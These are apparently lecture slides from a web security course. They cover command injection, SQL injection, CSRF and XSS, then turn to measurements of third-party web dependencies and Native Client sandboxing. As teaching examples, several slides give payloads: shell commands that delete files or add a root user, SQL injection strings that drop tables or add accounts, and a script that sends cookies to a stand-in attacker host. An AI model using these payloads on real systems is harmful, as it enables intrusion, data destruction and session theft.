Acknowledgments: Some of the slides are fully or partially obtained from other sources. A reference is noted on the bottom of each slide, when the content is fully obtained from another source. Otherwise a full list of references is provided on the last slide.
Goals of web security

• Safely browse the web
• Users should be able to visit a variety of web sites, without incurring harm:
  • No stolen information
  • Site A cannot compromise session at Site B
• Support secure web applications
  • Applications delivered over the web should be able to achieve the same security properties as stand-alone applications
Web Threat Models

- **Web attacker**
  - Control attacker.com
  - Can obtain SSL/TLS certificate for attacker.com
  - User visits attacker.com
    - Or: runs attacker’s Facebook app, etc.
- **Network attacker**
  - Passive: Wireless eavesdropper
  - Active: Evil router, DNS poisoning
- **Malware attacker**
  - Attacker escapes browser isolation mechanisms and run separately under control of OS

[Mitchell’14]
Malware attacker

- Browsers may contain exploitable bugs
  - Often enable remote code execution by web sites
  - Google study: [the ghost in the browser 2007]
    - Found Trojans on 300,000 web pages (URLs)
    - Found adware on 18,000 web pages (URLs)
- Even if browsers were bug-free, still lots of vulnerabilities on the web
  - XSS, SQLi, CSRF, …
WEB Attacks
Three vulnerabilities we will discuss

- **SQL Injection**
  - Browser sends malicious input to server
  - Bad input checking fails to block malicious SQL

- **CSRF – Cross-site request forgery**
  - Bad web site sends browser request to good web site, using credentials of an innocent victim

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site
Three vulnerabilities we will discuss

- **SQL Injection**
  - Uses SQL to change meaning of database command
  - Leverage user’s session at victim server
  - Leverage user’s session at victim server
  - Uses SQL to change meaning of database command

- **CSRF – Cross-site request forgery**
  - Leverage user’s session at victim server
  - Inject malicious script into trusted context

- **XSS – Cross-site scripting**
  - Inject malicious script into trusted context

[Mitchell’14]
Command Injection

Background for SQL Injection
General code injection attacks

- Attack goal: execute arbitrary code on the server
- Example
  - code injection based on eval (PHP)
  - http://site.com/calc.php (server side calculator)

```
... $in = $_GET['exp'];
eval('$ans = '. $in . ';');
...
```

- Attack
  - http://site.com/calc.php?exp="10 ; system('rm *.*')"
Code injection using `system()`

- Example: PHP server-side code for sending email

```php
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

- Attacker can post

```
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls
```

OR

```
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
echo "evil::0:0:root:/bin/sh" >> /etc/passwd; ls
```
SQL Injection
Database queries with PHP (the wrong way)

- Sample PHP

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";  
$rs = $db->executeQuery($sql);
```

- Problem
  - What if ‘recipient’ is malicious string that changes the meaning of the query?
Basic picture: SQL Injection

1. Post malicious form
2. Unintended SQL query
3. Receive valuable data

Victim Server
Victim SQL DB
Example: buggy login page (ASP)

```asp
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " '
    AND pwd=' " & form("pwd") & " '" );

if not ok.EOF
    login success
else  fail;
```

Is this exploitable?
Web Browser (Client) → Enter Username & Password

Web Server

SELECT *
FROM Users
WHERE user='me'
AND pwd='1234'

DB

Normal Query

[Mitchell’14]
Bad input

Suppose \( \text{user} = \text{"' or 1=1 -- "} \) (URL encoded)

Then scripts does:

- \( \text{ok = execute( \text{SELECT ...}} \)

- \( \text{WHERE user= ' ' or 1=1 -- ... } \)

The “--” causes rest of line to be ignored.

Now \( \text{ok.EOF} \) is always false and login succeeds.

The bad news: easy login to many sites this way.
Even worse

• Suppose user =
  • “ ‘ ; DROP TABLE Users -- ”

• Then script does:
  • `ok = execute( SELECT ...
  • WHERE user= ' ' ; DROP TABLE Users ... )`

• Deletes user table
• Similarly: attacker can add users, reset pwds, etc.
Even worse ...

• Suppose user =
  • "; exec cmdshell
  •  'net user badguy badpwd' / ADD --

• Then script does:
  • ok = execute( SELECT ...
  •   WHERE username= ' ' ; exec ... )

• If SQL server context runs as "sa", attacker gets account on DB server
Preventing SQL Injection

• Never build SQL commands yourself!
• Use parameterized/prepared SQL
• Use ORM framework
Parameterized/prepared SQL

- Builds SQL queries by properly escaping args: ‘ → \’

- Example: Parameterized SQL: (ASP.NET 1.1)

- Ensures SQL arguments are properly escaped.

```csharp
SqlCommand cmd = new SqlCommand("SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]);

cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```

[Mitchell’14]
Cross Site Request Forgery
Recall: session using cookies

Server

Browser

POST/login.cgi

Set-cookie: authenticator

GET...

Cookie: authenticator

response

[Mitchell’14]
Basic picture

1. establish session
2. visit server (or iframe)
3. receive malicious page
4. send forged request (w/ cookie)

Q: how long do you stay logged in to Gmail? Facebook? ....
Cross Site Request Forgery (CSRF)

- **Example:**
  - User logs in to bank.com
    - Session cookie remains in browser state
  - User visits another site containing:
    ```html
    <form name=F action=http://bank.com/BillPay.php>
      <input name=recipient value=badguy> ...
      <script> document.F.submit(); </script>
    </form>
    ```
  - Browser sends user auth cookie with request
    - Transaction will be fulfilled
- **Problem:**
  - cookie auth is insufficient when side effects occur
Form post with cookie

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.bank.com/transfer method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100>
</form>
<script>document.forms[0].submit()</script>

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
recipient=attacker&amp;amount=3100
Cookie: SessionID=523FA4cd2E

www.bank.com

HTTP/1.1 200 OK
Transfer complete!

User credentials

Spring 1398

Ce 874 - Web Security

[Mitchell’14]
Cookieless Example: Home Router

1. Configure router
2. Visit site
3. Receive malicious page
4. Send forged request

User → Home router → Bad web site
Attack on Home Router

• Fact:
  • 50% of home users have broadband router with a default or no password

• Drive-by Pharming attack: User visits malicious site

• JavaScript at site scans home network looking for broadband router:
  • SOP allows “send only” messages
  • Detect success using onerror:
    ```html
    <IMG SRC=192.168.0.1 onError = do() >
    ```
  • Once found, login to router and change DNS server

• Problem: “send-only” access sufficient to reprogram router
CSRF Defenses

- Secret Validation Token

- Referer Validation

```
<input type=hidden value=23a3af01b>
```

```
Referer: http://www.facebook.com/home.php
```

[Mitchell’14]
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

www.google.com

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas
Payments Login CSRF

Wow! This site is so cool! How can I show my appreciation?

Sura-Sura Kanji Quizzer is supported by banner advertisements, but you can also support Sura-Sura Kanji Quizzer via PayPal donation:

How does the quizzer choose which kanji to display?

The displayed kanji is chosen at random from among the active kanji. Special effort is taken to avoid displaying the same kanji twice in a row. It might still happen, however, if only one kanji is active.

How should I use the Sura-Sura Kanji Quizzer service?

All we ask is that you use the quizzer honestly. Bad data will make the statistics less useful.

How does the quizzer calculate the "success rate" of a user?

The formula is (Times Succeeded) / (Times Viewed). If you view a kanji but do not click the "Success" button (for example, if you click a link to some other part of the site), that counts against your success rate. Please do not worry too much about...
Payments Login CSRF

Logging in - PayPal - Mozilla Firefox

PayPal

Logging in

If this page appears for more than 5 seconds, click here to reload.

PayPal Times of Day

Done
Payments Login CSRF
Login CSRF

Victim Browser

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
Username=attacker&password=xyzzy

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

www.google.com

www.attacker.com

<form action=https://www.google.com/login method=POST target=invisibleframe>
<input name=username value=attacker>
<input name=password value=xyzzy>
</form>
<script>document.forms[0].submit();</script>

Web History for attacker
Apr 7, 2008
9:20pm  Searched for llamas

[Mitchell’14]
Cross Site Scripting (XSS)
Three vulnerabilities we will discuss

- **SQL Injection**
  - Browser sends malicious input to server.
  - Bad input checking fails to block malicious SQL.

- **CSRF – Cross-site request forgery**
  - Bad web site sends browser request to good web site, using credentials of an innocent victim.

- **XSS – Cross-site scripting**
  - Bad web site sends innocent victim a script that steals information from an honest web site.

  - Leverage user’s session at victim server
  - Inject malicious script into trusted context

---

[Mitchell’14]
Basic scenario: reflected XSS attack

1. Visit web site
2. Receive malicious link
3. Click on link
4. Echo user input
5. Send valuable data

[Mitchell'14]
XSS example: vulnerable site

- search field on victim.com:


- Server-side implementation of search.php:

  ```html
  <HTML>
  <TITLE> Search Results </TITLE>
  <BODY>
  Results for <?php echo $_GET[term] ?> :
  . . .
  </BODY>
  </HTML>
  ```

  echo search term into response [Mitchell’14]
Bad input

• Consider link: (properly URL encoded)

   <script> window.open(
     "http://badguy.com?cookie = " +
     document.cookie ) </script>

• What if user clicks on this link?

  1. Browser goes to victim.com/search.php
  2. Victim.com returns
     <HTML> Results for <script> ... </script>
  3. Browser executes script:
     • Sends badguy.com cookie for victim.com
A diagram illustrating a web security attack. The sequence is as follows:

1. User gets bad link (www.attacker.com).
2. User clicks on link.
5. Victim server opens a new window to http://attacker.com?

The diagram includes the following code snippet:

```html
<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...
</script>
</html>
```

[Mitchell’14]
What is XSS?

- An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application.
- Methods for injecting malicious code:
  - Reflected XSS (“type 1”)
    - the attack script is reflected back to the user as part of a page from the victim site.
  - Stored XSS (“type 2”)
    - the attacker stores the malicious code in a resource managed by the web application, such as a database.
- Others, such as DOM-based attacks.

[Mitchell’14]
Basic scenario: reflected XSS attack

1. Collect email addr
2. send malicious email
3. click on link
4. echo user input
5. send valuable data

Email version

Attack Server

User Victim

Server Victim

[Mitchell’14]
Adobe PDF viewer “feature”

(version <= 7.9)

• PDF documents execute JavaScript code

http://path/to/pdf/
file.pdf#whatever_name_you_want=javascript:code_here

• The code will be executed in the context of the domain where the PDF files is hosted
• This could be used against PDF files hosted on the local filesystem


[ Mitchell’14 ]
Here’s how the attack works:

- Attacker locates a PDF file hosted on website.com
- Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
  
  http://website.com/path/to/file.pdf#s=javascript:alert("xss");

- Attacker entices a victim to click on the link
- If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes

Note: alert is just an example. Real attacks do something worse.
And if that doesn’t bother you...

• PDF files on the local filesystem:

```plaintext
file:///C:/Program%20Files/Adobe/Acrobat%207.0/Resource/ENUtxt.pdf#blah=javascript:alert("XSS");
```

JavaScript Malware now runs in local context with the ability to read local files...
Reflected XSS attack

1. User Victim
2. Attack Server
3. Click on link
4. Echo user input
5. Send valuable data

Send bad stuff
Reflect it back

[Mitchell’14]
Stored XSS

1. Inject malicious script
2. Request content
3. Receive malicious script
4. Steal valuable data

Server Victim

Download it

Attack Server

Store bad stuff

User Victim

[Mitchell’14]
MySpace.com  (Samy worm)

• Users can post HTML on their pages
• MySpace.com ensures HTML contains no
  `<script>, <body>, onclick, <a href=javascript://>`
  … but can do Javascript within CSS tags:
  `<div style="background:url('javascript:alert(1)')">`
  And can hide “javascript” as “java\nscript”

• With careful javascript hacking:
  • Samy worm infects anyone who visits an infected MySpace page  …
    and adds Samy as a friend.
  • Samy had millions of friends within 24 hours.

http://namb.la/popular/tech.html
Suppose pic.jpg on web server contains HTML!

- request for http://site.com/pic.jpg results in:
  
  ```
  HTTP/1.1  200 OK
  ...
  Content-Type: image/jpeg
  <html> fooled ya </html>
  ```

  - IE will render this as HTML (despite Content-Type)
  - Consider photo sharing sites that support image uploads
  - What if attacker uploads an “image” that is a script?

[Mitchell’14]
How to Protect Yourself (OWASP)

• The best way to protect against XSS attacks:
  • Validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
  • Do not attempt to identify active content and remove, filter, or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
  • Adopt a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Security Challenges in an Increasingly Tangled Web,
Kumar, D., Ma, Z., Durumeric, Z., Mirian, A., Mason, J.,
Halderman, J. A., & Bailey, M. WWW 2017
The web is growing in complexity
1,597 total requests
1,597 total requests

Only 21 from latimes.com domain

L.A. decides: What kind of city do you want to live in?

By Dakota Smith

On the ballot: Whether to re-elect Mayor Eric Garcetti, the contentious Measure S on development and a quarter-cent sales tax increase for homeless services.
1,597 total requests

Only 21 from latimes.com domain

80 external networks
1,597 total requests

Only 21 from latimes.com domain

80 external networks

8 countries

Spring 1398

Ce 874 - Web Security

[Kumar’17]
What is the state of web complexity today?
Measuring the Web

Leveraged headless chromium to build a resource tree for any website

Loaded the network resources for the Alexa Top Million sites

Crawled web from October 5th - October 7th 2016 at University of Michigan

https://github.com/zmap/zbrowse

[Kumar’17]
What is the state of web complexity today?
What is the state of web complexity today?

<table>
<thead>
<tr>
<th>Metric</th>
<th>2016</th>
</tr>
</thead>
<tbody>
<tr>
<td>Median Resources</td>
<td>73</td>
</tr>
<tr>
<td>Median External Resources</td>
<td>23</td>
</tr>
<tr>
<td>Median External Domains</td>
<td>9</td>
</tr>
</tbody>
</table>

[Kumar’17]
What is the state of web complexity today?

How has this changed?

- **Understanding Website Complexity: Measurements, Metrics, and Implications (Butkiewicz et. al in 2011)**

<table>
<thead>
<tr>
<th>Metric</th>
<th>2011</th>
<th>2016</th>
</tr>
</thead>
<tbody>
<tr>
<td>Median Dependencies</td>
<td>40</td>
<td>73</td>
</tr>
<tr>
<td>% External Dependencies</td>
<td>30%</td>
<td>64%</td>
</tr>
<tr>
<td>Median JavaScript resources</td>
<td>6</td>
<td>13</td>
</tr>
</tbody>
</table>

[Kumar’17]
What is the state of web complexity today?

Websites load 2x overall and external resources compared to 2011

<table>
<thead>
<tr>
<th>Metric</th>
<th>2011</th>
<th>2016</th>
</tr>
</thead>
<tbody>
<tr>
<td>Median JavaScript</td>
<td>6</td>
<td>13</td>
</tr>
<tr>
<td>% External Dependencies</td>
<td>30%</td>
<td>64%</td>
</tr>
</tbody>
</table>

How has this changed?

- Understanding Website Complexity: Measurements, Metrics, and Implications (Butkiewicz et. al in 2011)

[Butkiewicz et. al in 2011]

[Butkiewicz et. al in 2011]

[Butkiewicz et. al in 2011]
Who do websites depend on?
Who do websites depend on?

<table>
<thead>
<tr>
<th>Organization</th>
<th>% Top 1M</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google</td>
<td>82.2%</td>
</tr>
<tr>
<td>Facebook</td>
<td>34.1%</td>
</tr>
<tr>
<td>Amazon</td>
<td>32.6%</td>
</tr>
<tr>
<td>Cloudflare</td>
<td>30.7%</td>
</tr>
<tr>
<td>Akamai</td>
<td>20.3%</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Organization</th>
<th>% Top 1M</th>
</tr>
</thead>
<tbody>
<tr>
<td>MaxCDN</td>
<td>19.0%</td>
</tr>
<tr>
<td>Edgecast</td>
<td>17.9%</td>
</tr>
<tr>
<td>Fastly</td>
<td>15.5%</td>
</tr>
<tr>
<td>SoftLayer</td>
<td>11.8%</td>
</tr>
<tr>
<td>Twitter</td>
<td>11.2%</td>
</tr>
</tbody>
</table>

Top Domains and Networks

[Kumar’17]
<table>
<thead>
<tr>
<th>Organization</th>
<th>Top 1M %</th>
</tr>
</thead>
<tbody>
<tr>
<td>Google</td>
<td>82.2%</td>
</tr>
<tr>
<td>Facebook</td>
<td>34.1%</td>
</tr>
<tr>
<td>Amazon</td>
<td>32.6%</td>
</tr>
<tr>
<td>Cloudflare</td>
<td>30.7%</td>
</tr>
<tr>
<td>Akamai</td>
<td>20.3%</td>
</tr>
<tr>
<td>MaxCDN</td>
<td>19.0%</td>
</tr>
<tr>
<td>Edgecast</td>
<td>17.9%</td>
</tr>
<tr>
<td>Fastly</td>
<td>15.5%</td>
</tr>
<tr>
<td>SoftLayer</td>
<td>11.8%</td>
</tr>
<tr>
<td>Twitter</td>
<td>11.2%</td>
</tr>
</tbody>
</table>

Websites are increasingly loading resources from common providers. [Kumar’17]
Why do we rely on these providers?
Why do we rely on these providers?

<table>
<thead>
<tr>
<th>Type of Resource</th>
<th>% Top 1M</th>
</tr>
</thead>
<tbody>
<tr>
<td>Analytics/Tracking</td>
<td>75.4%</td>
</tr>
<tr>
<td>CDN/Static Content</td>
<td>65.2%</td>
</tr>
<tr>
<td>Advertising</td>
<td>42.2%</td>
</tr>
<tr>
<td>Social Media</td>
<td>39.7%</td>
</tr>
<tr>
<td>API/Services</td>
<td>39.0%</td>
</tr>
</tbody>
</table>

[Kumar’17]
Complexity

- In 2016, websites are complex and load 2x the number of overall and external resources since 2011.
- Websites are increasingly loading these resources from a handful of common providers.
- These resources are primarily focused on analytics/tracking, CDNs, and advertising.

[Kumar’17]
Why do we care?
A very unfortunate security event happened last month, which affected folks using BootstrapCDN. We at NetDNA want to share an open, detailed report in this blog post, and continue to answer questions that may not have been addressed. Read More
How does a complex web impact who users trust?
Trust

Increased reliance on external resources forces sites to **implicitly trust** many resources
Trust

Website

AppNexus, Google, Rubicon, AOL, etc.
Trust

Website

AppNexus, Google, Rubicon, AOL, etc.

Explicitly trusted resource

[Kumar’17]
Trust

Website

AppNexus, Google, Rubicon, AOL, etc.

talk915.pw  trackmytraffic.bi
Increased reliance on external resources forces sites to **implicitly trust** many resources.
Implicit Trust

• We’ve seen the security consequences of sites depending on common explicitly trusted resources…

• But what happens when sites themselves have no visibility into the resources they load?
Major sites including New York Times and BBC hit by 'ransomware' malvertising

Adverts hijacked by malicious campaign that demands payment in bitcoin to unlock user computers

Ransomware can lock up your computer, costing hundreds of pounds. Photograph: Alamy
Who causes implicit trust?

<table>
<thead>
<tr>
<th>Domain loads implicit content</th>
<th>% Top 1M</th>
</tr>
</thead>
<tbody>
<tr>
<td>doubleclick.net</td>
<td>9.6%</td>
</tr>
<tr>
<td>facebook.com</td>
<td>9.3%</td>
</tr>
<tr>
<td>google.com</td>
<td>4.7%</td>
</tr>
<tr>
<td>youtube.com</td>
<td>3.3%</td>
</tr>
<tr>
<td>adlegend.com</td>
<td>2.0%</td>
</tr>
<tr>
<td>casalemedia.com</td>
<td>1.4%</td>
</tr>
<tr>
<td>sharethis.com</td>
<td>1.3%</td>
</tr>
<tr>
<td>vk.com</td>
<td>1.0%</td>
</tr>
</tbody>
</table>

33% of sites load at least one implicitly trusted resource

bada.tv loads 103 implicit resources

argumenti.ru loads implicit resources at depth of 17
Who causes implicit trust?

33% of sites load at least one implicitly trusted resource.

<table>
<thead>
<tr>
<th>Domain loads implicit content</th>
<th>% Top 1M</th>
</tr>
</thead>
<tbody>
<tr>
<td>baka.tv</td>
<td>103 implicit resources at depth of 17</td>
</tr>
<tr>
<td>argumenti.ru</td>
<td></td>
</tr>
<tr>
<td>doubleclick.net</td>
<td>9.6%</td>
</tr>
<tr>
<td>facebook.com</td>
<td>9.3%</td>
</tr>
<tr>
<td>google.com</td>
<td>4.7%</td>
</tr>
<tr>
<td>youtube.com</td>
<td>3.3%</td>
</tr>
<tr>
<td>adlegend.com</td>
<td>2.0%</td>
</tr>
<tr>
<td>casalemedia.com</td>
<td>1.4%</td>
</tr>
<tr>
<td>sharethis.com</td>
<td>1.3%</td>
</tr>
<tr>
<td>vk.com</td>
<td>1.0%</td>
</tr>
</tbody>
</table>

Advertising resources are the major cause of implicit trust on the web.

[Kumar’17]
Browser Security
Everyone uses the web browser

- Browser is the most important tool to get the information in modern society.
- **Restricted** environment for safety purpose.
  - Interpreter-based sandbox
  - Slow
- **Native** plug-ins for extra performance or functionality requirements.
  - Fast, versatile
  - Trust-based protection but not safe
What is NaCl?

- To succeed where others have failed:
- ActiveX
  - Trust me, Microsoft does…
- NPAPI
  - Solely for plugins, but just as dangerous
- JavaScript
  - Too slow
Native code == unsafe?

• “No fundamental reason why native code should be unsafe”
• Traditional difficulties:
  • The problem of deciding the outcome of arbitrary native code while executing it is undecidable.
  • Many unexpected side effects during code execution.
    ▪ Exception, interrupt, racing condition, I/O.
• But a safe and efficient isolated environment can be created for restricted native code.
Threat model

- Achieve comparable safety to accepted systems such as JavaScript.
- Input: arbitrary code and data
  - support multi-threading, inter-module communication
- Restrictions (Obligations):
  - No code page writing: No self-modification code, No JIT
  - No direct system call: No I/O
  - No hardware exception/interrupt: failsafe
  - No ambiguous indirect control flow transfer
  - Isolated direct memory access
Obey me or die

Binary code satisfies the obligations

Check by static analysis

Binary code does not satisfy the obligations

Native Client (NaCl)

[Yee’09]
Untrusted native code runs in its own private address space created by X86 segment registers (%cs, %ds, %gs, %fs, %ss).

Each NaCl module runs as a separated process.

All dangerous interfaces are forbidden or monitored by the sandbox (including the instructions modifying the segment registers).
Security properties under obligations

- A static code analysis will ensure:
  - Data integrity
    - All memory addresses are within the sandbox
    - Otherwise, a segmentation fault given (%cs, %ds, … are set)
  - Reliable disassembly
    - All possible jump targets are known (mandatory 32byte alignment for all jump instructions)
  - No unsafe instructions
    - Disassembler is reliable
  - Control flow integrity
    - Same reason for reliable disassembly

[Yee’09]
Load a NaCl module

Memory address:

1. Verify the module code according to the obligations.
2. Load control code block into memory (including system call trampolines, thread context data).
3. Load the module code and data into memory.
4. Set the segment registers to establish a private memory space (64KB afterwards, 64KB is the zero offset).
5. Transfer the control to the module code.

User far call to access system call trampolines. (call the routine out of current memory segmentation) All far calls are under control.

[Yee’09]
Applications, tools, and availability

- **Applications**
  - Allow developer to choose any language in the browser (not just JavaScript).
  - Allow simple, computationally intensive extensions for web applications
  - Binary-level sandbox without a trusted compiler

- **Tools:** GCC tool chain
  - on Ubuntu Linux, MacOS, Windows XP

- **Availability:** open source, part of Chrome
  - http://code.google.com/p/nativeclient/
Easier than you imagine

- Ported programs mentioned:
  - SPEC CPU 2000 benchmarks
  - Some graphics computation demo
  - H.264 video decoder
  - Physics simulation system
  - FPS game (Quake)
Max space overhead is **57.5%** code size increment for gcc in SPEC CPU 2000.

Mandatory alignment for jump targets impacts the instruction cache and increases the code size (*more significant if compared to dynamic linked executables*).
Acknowledgments/References